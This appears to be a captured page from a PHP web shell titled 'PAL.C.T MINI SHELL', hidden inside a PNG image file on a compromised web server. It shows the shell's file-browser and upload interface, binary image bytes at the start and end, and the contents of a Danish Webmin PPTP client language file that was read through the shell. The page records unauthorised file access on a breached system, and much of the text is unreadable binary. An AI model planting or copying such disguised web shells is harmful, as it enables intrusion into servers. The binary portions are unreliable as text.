php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/pptp-client/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/pptp-client/lang/da.auto

index_title=PPTP VPN-klient
index_epptp=PPTP-klientprogrammet $1 blev ikke fundet på dit system. Måske er det ikke installeret, eller din <a href='$2'>modulkonfiguration</a> er forkert.
index_eppp=PPP-serverprogrammet $1 er ikke installeret på dit system. PPTP afhænger af, om den fungerer.
index_eoptions=Den globale PPTP PPP-indstillingsfil $1 findes ikke. Enten skal du oprette det, eller justere <a href='$2'>modulkonfiguration</a> for at bruge en anden fil eller slet ingen.
index_header=Definerede tunneler
index_none=Der er endnu ikke defineret nogen PPTP-tunneler.
index_tunnel=Tunnel $1 
index_add=Tilføj en ny PPTP VPN-tunnel.
index_conn=Forbinde til:
index_pass=med valgfri adgangskode:
index_conndesc=Klik på denne knap for at forbinde den valgte PPTP VPN-tunnel ved hjælp af dens nuværende konfiguration.
index_disc=Frakobl fra:
index_discdesc=Klik på denne knap for at afbryde den valgte aktuelt aktive PPTP VPN-tunnel og fjerne alle ruter gennem den.
index_return=PPTP-tunnelliste
index_opts=Rediger globale PPP-indstillinger
index_optsdesc=Klik på denne knap for at redigere PPP-indstillingerne, der gælder for alle PPTP VPN-tunneler.
index_version=PPPd version $1 
index_boot=Opret forbindelse ved opstart:
index_noboot=&lt;Tilslut ikke&gt;
index_bootdesc=Skift denne mulighed for at kontrollere, om den valgte PPTP VPN-forbindelse startes ved starttidspunktet eller ej.

disc_err=Kunne ikke frakoble tunnelen
disc_egone=Ikke længere aktiv
disc_ekill=Kunne ikke dræbe pppd-processen
disc_done=Tunnel $1 blev afbrudt.

conn_err=Kunne ikke tilslutte tunnel
conn_egone=Tunnel findes ikke længere
cone_ealready=Allerede tilsluttet
conn_einvalid=Manglende server-IP-adresse i konfigurationsfilen
conn_title=Forbinder tunnel
conn_cmd=Oprettelse af en PPTP-forbindelse med kommandoen $1.
conn_ok=.. forbindelse aktiveret med interface $1. Din lokale adresse er $2, og fjernadressen er $3.
conn_timeout=.. forbindelsen mislykkedes! Kontroller log-meddelelserne nedenfor for at få oplysninger om.
conn_routes=Tilføjelse af ruter med kommandoer ..
conn_mppe=MPPE-protokollen til VPN-kryptering kræver understøttelse af PPP-demon og kerne. Imidlertid antyder fejlene ovenfor, at en eller begge ikke er tilgængelig på dit system. Hvis PPTP-serveren ikke kræver MPPE, kan du prøve at slukke for alle indstillinger, der er relateret til den på siden <a href='$1'>globale PPP-indstillinger</a>.

edit_title1=Tilføj PPTP-tunnel
edit_title2=Rediger PPTP-tunnel
edit_header=PPTP VPN-tunnelindstillinger
edit_name=Tunnelnavn
edit_server=Opret forbindelse til serveren
edit_login=Login som bruger
edit_same=Systemværtsnavn
edit_pass=Login med adgangskode
edit_remote=Serverens navn
edit_auto=Automatisk
edit_adddef=Tilføj standardrute?
edit_def1=Via anden ende
edit_def2=Via gateway ..
edit_deldef=Slet gammel standardrute?
edit_routes=Ruter, der skal tilføjes efter tilslutning
edit_type=Type
edit_type0=&nbsp;
edit_type1=Netværk
edit_type2=Enkelt vært
edit_net=Netværk eller vært
edit_mask=netmaske
edit_gw=Via gateway
edit_gw_def=Anden ende
edit_unknown=Andre <tt>rute</tt> kommandoer
edit_file=PPP-indstillingsfil
edit_none=Ingen
edit_global=Standard global fil
edit_ofile=Anden fil ..

save_err=Kunne ikke gemme tunnel
save_ename=Manglende tunnelnavn
save_eserver=Manglende eller ugyldig server til at oprette forbindelse til
save_elogin=Manglende eller ugyldigt login-navn
save_eremote=Manglende eller ugyldig fjernserverens navn
save_edef=Manglende eller ugyldig standardrute-gateway
save_enet=Ugyldig netværksadresse i rute $1 
save_emask=Ugyldig netmaske i rute $1 
save_egw=Ugyldig gateway til netværk i rute $1 
save_ehost=Ugyldig host-IP-adresse i rute $1 
save_emask2=Ingen netmaske er nødvendig til værtsrute $1 
save_egw2=Ugyldig gateway til vært i rute $1 
save_erename=Kunne ikke omdøbe tunnelfilen
save_eclash=En tunnel eller PPP-peer med samme navn findes allerede
save_efile=Manglende eller ugyldig PPP-indstillingsfil

opts_title=Globale OPP-muligheder
opts_desc=Indstillingerne nedenfor er taget fra $1 og gælder for alle tunneler, der er indstillet til at bruge standard global PPP-indstillingsfil.
opts_header=PPP-indstillinger for alle tunneler
opts_mtu=Maksimal afsendelsespakkestørrelse
opts_mru=Maksimal modtagerpakkestørrelse
opts_err=Kunne ikke gemme globale PPP-indstillinger
opts_emtu=Manglende eller ugyldig maksimal afsendelse af pakkestørrelse
opts_emru=Manglende eller ugyldig maksimal modtagende pakkestørrelse
opts_msdesc=Valgmulighederne nedenfor aktiverer MPPE-kryptering, der bruges af Windows VPN-servere. MPPE kræver dog support i både PPP-dæmonen og operativsystemkernen.

mppe_mppe-40=Brug 40-bit MPPE-kryptering?
mppe_mppe-128=Brug 128-bit MPPE-kryptering?
mppe_mppe-stateless=Aktivér statløs MPPE-tilstand?
mppe_mppe=Aktivér MPPE-kryptering?
mppe_m2=Skal bruges
mppe_m0=Kan ikke bruges
mppe_d0=handicappet
mppe_d1=Tilladt
mppe_mppe-stateful=Aktivér tilstanden MPPE-tilstand?
mppe_old=Advarsel - De gamle MPPE-direktiver $1 blev fundet i din konfigurationsfil, selvom din PPP-dæmon understøtter direktiverne i ny stil.
mppe_new=Advarsel - MPPE-direktiverne $1 i ny stil blev fundet i din konfigurationsfil, selvom din PPP-demon kun understøtter de gamle direktiver.

log_create=Oprettet PPTP-tunnel $1 
log_update=Ændret PPTP-tunnel $1 
log_delete=PPTP-tunnel $1 er slettet
log_conn=Tilsluttet tunnel $1 
log_conn_l=Forbundet tunnel $1 med lokal adresse $2 
log_failed=Kunne ikke tilslutte tunnel $1 
log_disc=Frakoblet tunnel $1 
log_opts=Redigerede globale OPP-indstillinger
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`